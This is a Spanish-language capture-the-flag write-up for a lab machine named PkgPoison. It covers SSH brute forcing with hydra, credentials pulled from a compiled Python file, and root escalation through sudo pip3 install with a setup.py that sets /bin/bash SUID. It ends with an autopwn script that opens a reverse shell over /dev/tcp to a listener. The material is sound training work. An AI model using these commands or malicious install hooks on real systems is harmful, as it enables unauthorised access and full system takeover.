> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pkgpoison-write-up.md).

# PkgPoison write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/ercVy6yHTKGqpihLpw4g" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/H2tWxoDVDqrLW3Evcagb" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el puerto 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/EGxguxF6osuICaTkz3M0" alt=""><figcaption></figcaption></figure>

Como no hallamos nada interesante usaremos **Dirb** para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2/
```

<figure><img src="/files/XqpP7TRBWG5Ls7fCeyd7" alt=""><figcaption></figcaption></figure>

Esto enumera el directorio `http://172.17.0.2/notes/` el cual cuenta con lo siguiente:

<figure><img src="/files/3As7enO5pwXQw1u0E7lm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/s1aeH2yS6uaceKDlPDCS" alt=""><figcaption></figcaption></figure>

Como la nota nos indica el usuario `admin` y `dev`, ejecutaremos un ataque de fuerza bruta al servicio SSH, para ello primero creamos el diccionario `users.txt` que contendrán el usuario `admin` y `dev`. Después ejecutamos el siguiente comando:

```bash
hydra -L usuarios.txt -P ../rockyou.txt ssh://172.17.0.2 -F -V -I -u -t 64
```

<figure><img src="/files/hzLmutCDMZpLNgqGUhq2" alt=""><figcaption></figcaption></figure>

Esto indica que el usuario `dev` está usando la contraseña `computer`, por lo que accedemos al servicio SSH.

<figure><img src="/files/EUwGoAhy0HIMNXr4rjaZ" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez somos el usuario `dev`, vamos a realizar una búsqueda de archivo ejecutando el siguiente comando:

```bash
find / \( -path "/proc" -o -path "/sys" -o -path "/var/lib" -o -path "/etc" -o -path "/usr/lib" -o -path "/usr/share/zoneinfo" -o -path "/usr/bin" -o -path "/usr/share/apache2" -o -path "/usr/include" -o -path "/usr/share/perl" -o -path "/usr/share" -o -path "/usr/sbin" \) -prune -o -type f -print 2>/dev/null
```

<figure><img src="/files/3sw4do8sYrAJPxBWnSa7" alt=""><figcaption></figcaption></figure>

Esto lista el archivo `/opt/scripts/__pycache__/secret.cpython-38.pyc` el cual es un script en python compilado. Por lo que lo pasaremos a nuestra máquina host y lo inspeccionaremos con `strings`.

```bash
scp dev@172.17.0.2:/opt/scripts/__pycache__/secret.cpython-38.pyc ./secret.cpython-38.pyc
```

<figure><img src="/files/iyJSsuH3uOIhLf5xK1lj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/qOxPO1xLlXrolOq28sVj" alt=""><figcaption></figcaption></figure>

Observamos que aparece la cadena `adminz` y `p@$$w0r8321z` como aparece una `z` al final la eliminaremos y usaremos `p@$$w0r8321` como contraseña para el usuario `admin`.

<figure><img src="/files/uwacUZYpaKk2GB65vcgp" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `admin`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar `/usr/bin/pip3 install` como usuario `root` sin necesidad de contraseña.

<figure><img src="/files/2RWQf4SHcUy1lffXOBvy" alt=""><figcaption></figcaption></figure>

Así que crearemos la carpeta `/tmp/directorio_travieso` y luego crearemos un script llamado `setup.py` con el siguiente código:

```bash
mkdir /tmp/directorio_travieso && cd /tmp/directorio_travieso
```

```bash
cat > setup.py << 'EOF'
import os

os.system("chmod 4777 /bin/bash")

from setuptools import setup
setup(
    name="pwnpkg",
    version="0.1",
    py_modules=[],
) 
EOF
```

Ahora ejecutamos lo siguiente:

```bash
sudo /usr/bin/pip3 install .
```

<figure><img src="/files/Nz0f11eHcq4AOxhd7Qoa" alt=""><figcaption></figcaption></figure>

Y ya podríamos obtener una shell con privilegios elevados al ejecutar `bash -p`.

<figure><img src="/files/7EiUbEiozqDb3XUjruDR" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "└─$ "
send "ssh dev@172.17.0.2\r"
expect "password:  "
send "computer\r"
expect "$ "
send "su admin\r"
sleep 1
expect " "
send {p@$$w0r8321}
send "\r"
sleep 1
expect "$ "
send {mkdir /tmp/directorio_travieso && cd /tmp/directorio_travieso }
sleep 1
expect " "
send "\r"
sleep 1
expect "$ "
send {cat > setup.py << 'EOF'
import os

os.system("chmod 4777 /bin/bash")

from setuptools import setup
setup(
    name="pwnpkg",
    version="0.1",
    py_modules=[],
) 
EOF}
send "\r"
sleep 1
expect "$ "
send "sudo /usr/bin/pip3 install .\r"
sleep 1
expect "$ "
send {bash -p}
send "\r"
sleep 1
expect "# "
send {bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1}
sleep 1
expect " "
send "\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")



def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.3)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4444 ")

    os.system("rm script1.exp")
    

if __name__ == "__main__":
    main()
```
